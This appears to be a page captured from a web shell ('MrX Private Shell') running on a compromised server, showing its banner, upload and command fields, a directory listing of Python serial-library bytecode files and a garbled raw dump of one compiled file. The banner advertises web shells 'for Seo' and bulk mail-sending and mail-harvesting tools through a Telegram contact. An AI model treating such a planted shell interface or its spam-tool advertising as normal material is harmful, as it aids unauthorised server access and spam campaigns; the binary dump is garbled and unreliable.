__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��^���d�SrSSKJr SSKrSSKr"SS\5r"SS\R5rg)z�The settings for RS485 are stored in a dedicated object that can be applied to
serial ports (where supported).
NOTE: Some implementations may only support a subset of the settings.
�)�absolute_importNc�(�\rSrSrSSjrSrg)�
RS485Settings�Nc�@�XlX lX0lX@lXPlg�N)�rts_level_for_tx�rts_level_for_rx�loopback�delay_before_tx�delay_before_rx)�selfr	r
rrr
s      �./usr/lib/python3/dist-packages/serial/rs485.py�__init__�RS485Settings.__init__s!��!1�� 0�� �
�.��.��)r
rrr
r	)TFFNN)�__name__�
__module__�__qualname__�__firstlineno__r�__static_attributes__�rrrrs��"�"�� � �
/rrc�l^�\rSrSrSrU4SjrU4Sjr\S5r\RS5rSr
U=r$)�RS485�%a�A subclass that replaces the write method with one that toggles RTS
according to the RS485 settings.

NOTE: This may work unreliably on some serial ports (control signals not
      synchronized or delayed compared to data). Using delays may be
      unreliable (varying times, larger than expected) as the OS may not
      support very fine grained delays (no smaller than in the order of
      tens of milliseconds).

NOTE: Some implementations support this natively. Better performance
      can be expected when the native version is used.

NOTE: The loopback property is ignored by this implementation. The actual
      behavior depends on the used hardware.

Usage:

    ser = RS485(...)
    ser.rs485_mode = RS485Settings(...)
    ser.write(b'hello')
c�<>�[[U]
"U0UD6 SUlgr)�superrr�_alternate_rs485_settings)r�args�kwargs�	__class__s   �rr�RS485.__init__=s���
�e�T�#�T�4�V�4�)-��&rc�*>�URb�URURR5 URRb*[R
"URR5 [[U]#U5 [[U]'5 URRb*[R
"URR5 URURR5 g[[U]#U5 g)z=Write to port, controlling RTS before and after transmitting.N)r�setRTSr	r�time�sleeprr�write�flushr
r
)r�br!s  �rr'�RS485.writeAs�����)�)�5��K�K��6�6�G�G�H��-�-�=�=�I��
�
�4�9�9�I�I�J��%��$�Q�'��%��$�&��-�-�=�=�I��
�
�4�9�9�I�I�J��K�K��6�6�G�G�H��%��$�Q�'rc��UR$)z�Enable RS485 mode and apply new settings, set to None to disable.
See serial.rs485.RS485Settings for more info about the value.
�r)rs r�
rs485_mode�RS485.rs485_modeTs���-�-�-rc��Xlgrr,)r�rs485_settingss  rr-r.\s��)7�&rr,)rrrr�__doc__rr'�propertyr-�setterr�
__classcell__)r!s@rrr%s@����..�(�&�.��.����8��8rr)	r1�
__future__rr%�serial�objectr�Serialrrrr�<module>r9s1���'��
�/�F�/�98�F�M�M�98r

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 2.93 KB 0644
__main__.cpython-313.pyc File 236 B 0644
rfc2217.cpython-313.pyc File 60.89 KB 0644
rs485.cpython-313.pyc File 3.75 KB 0644
serialcli.cpython-313.pyc File 12.4 KB 0644
serialjava.cpython-313.pyc File 12.71 KB 0644
serialposix.cpython-313.pyc File 40.96 KB 0644
serialutil.cpython-313.pyc File 26.74 KB 0644
serialwin32.cpython-313.pyc File 25.82 KB 0644
win32.cpython-313.pyc File 9.25 KB 0644
Filemanager